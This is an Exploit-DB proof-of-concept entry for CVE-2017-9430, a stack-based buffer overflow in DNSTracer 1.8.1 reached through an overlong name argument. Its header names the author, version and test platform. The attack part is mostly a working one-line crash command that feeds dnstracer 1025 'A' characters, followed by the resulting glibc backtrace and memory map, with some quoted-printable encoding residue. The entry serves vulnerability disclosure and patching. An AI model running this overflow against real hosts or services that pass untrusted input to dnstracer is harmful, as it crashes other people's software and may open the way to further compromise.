Exploit-DB #42115
Description: DNSTracer 1.8.1 - Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2017-06-05
Author: FarazPajohan

Exploit:
################
#Exploit Title: DNSTracer Stack-based Buffer Overflow
#CVE: CVE-2017-9430
#CWE: CWE-119
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: http://www.mavetju.org
#Version : 1.8.1
#Tested on: Parrot OS
#Date: 04-06-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description:  Stack-based buffer overflow in dnstracer through 1.9 allows =
attackers  to cause a denial of service (application crash) or possibly hav=
e unspecified other impact via a command line with a long name argument tha=
t is mishandled in a strcpy call for argv[0]. An example threat model is a =
web application that launches dnstracer with an untrusted name string.
###############################

#dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
=3D=3D=3D=3D=3D=3D=3D Backtrace: =3D=3D=3D=3D=3D=3D=3D=3D=3D
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7ff6e79edbcb]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ff6e7a76037]
/lib/x86_64-linux-gnu/libc.so.6(+0xf7170)[0x7ff6e7a74170]
/lib/x86_64-linux-gnu/libc.so.6(+0xf64d2)[0x7ff6e7a734d2]
dnstracer(+0x2c8f)[0x5634368aac8f]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7ff6e799d2b1]
dnstracer(+0x2fca)[0x5634368aafca]
=3D=3D=3D=3D=3D=3D=3D Memory map: =3D=3D=3D=3D=3D=3D=3D=3D
5634368a8[PII_REDACTED]b0000 r-xp 00000000 08:01 4850311                    /u=
sr/bin/dnstracer
563436aaf000-563436ab0000 r--p 00007000 08:01 4850311                    /u=
sr/bin/dnstracer
563436ab0000-563436ab1000 rw-p 00008000 08:01 4850311                    /u=
sr/bin/dnstracer
563436ab1000-563436ab3000 rw-p 00000000 00:00 0=20
563436c1d000-563436c3e000 rw-p 00000000 00:00 0                          [h=
eap]
7ff6e7766000-7ff6e777c000 r-xp 00000000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e777c000-7ff6e797b000 ---p 00016000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797b000-7ff6e797c000 r--p 00015000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797c000-7ff6e797d000 rw-p 00016000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797d000-7ff6e7b12000 r-xp 00000000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7b12000-7ff6e7d11000 ---p 00195000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d11000-7ff6e7d15000 r--p 00194000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d15000-7ff6e7d17000 rw-p 00198000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d17000-7ff6e7d1b000 rw-p 00000000 00:00 0=20
7ff6e7d1b000-7ff6e7d3e000 r-xp 00000000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f13000-7ff6e7f15000 rw-p 00000000 00:00 0=20
7ff6e7f3a000-7ff6e7f3e000 rw-p 00000000 00:00 0=20
7ff6e7f3e000-7ff6e7f3f000 r--p 00023000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f3f000-7ff6e7f40000 rw-p 00024000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f40000-7ff6e7f41000 rw-p 00000000 00:00 0=20
7ffded62d000-7ffded64e000 rw-p 00000000 00:00 0                          [s=
tack]
7ffded767000-7ffded769000 r--p 00000000 00:00 0                          [v=
var]
7ffded769000-7ffded76b000 r-xp 00000000 00:00 0                          [v=
dso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [v=
syscall]
Aborted